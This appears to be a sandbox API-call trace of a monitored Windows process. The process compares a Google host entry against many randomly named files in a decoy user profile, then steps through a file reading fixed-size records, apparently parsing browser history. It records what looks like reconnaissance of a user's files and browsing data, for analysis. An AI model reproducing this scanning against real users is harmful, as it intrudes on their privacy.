	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/uvb6xg44bvjnt-xow9.png") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/elmetgyx2ieiheffa-b.png") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/ds1l.odp") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/t17l6ppjuvfp6jo.png") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/3nniqn2uay.csv") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/za%20xnopijc5-tgt.gif") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/d2axj7lt.csv") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/u0uefh3x.jpg") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/-nmv1nzcfxfh4c_s.pptx") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/p70gthzxsp7.xlsx") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/6xhe6hfrnc81xta9n.gif") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/afmgc.gif") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/1ls8ldxhvkfwb26kk79.pptx") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/3jeeh-g.odp") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/bltg0rl3nb.png") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/bje6sqpktej5ai.bmp") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/nrq59ukxj6dze-tfnqq.gif") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/znv%20lfhavonxumc%20fxu.odp") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif") returned -1
	[0099.030] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/axlrt.csv") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned -1
	[0099.031] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned -1
	[0099.032] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned -1
	[0099.032] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned -1
	[0099.032] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0099.032] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned -1
	[0099.032] wcslen (_String=":host: www.google.de") returned 0x14
	[0099.032] SetFilePointer (in: hFile=0xc4, lDistanceToMove=20992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5200
	[0099.032] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.032] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.032] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5280
	[0099.032] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.032] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.032] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5300
	[0099.032] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.032] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.032] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5380
	[0099.032] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.032] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.032] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5400
	[0099.032] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.032] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.032] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5480
	[0099.032] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.032] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.032] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21760, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5500
	[0099.032] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.032] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.032] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5580
	[0099.032] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.032] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.032] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5600
	[0099.032] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.032] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.032] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5680
	[0099.032] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.032] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.033] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5700
	[0099.033] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.033] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.033] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5780
	[0099.033] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.033] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.033] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5800
	[0099.033] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.033] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.033] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5880
	[0099.033] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.033] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.033] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5900
	[0099.033] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.033] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.033] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5980
	[0099.033] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.033] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.033] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00
	[0099.033] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.033] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.033] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a80
	[0099.033] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.033] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.033] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b00
	[0099.033] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.033] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.033] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b80
	[0099.033] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.033] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.033] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00
	[0099.033] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.033] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.033] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c80
	[0099.034] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.034] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.034] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d00
	[0099.034] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.034] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.034] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d80
	[0099.034] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.034] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.034] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00
	[0099.034] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.034] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.034] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e80
	[0099.034] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.034] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.034] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f00
	[0099.034] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.034] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.034] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f80
	[0099.034] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.034] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
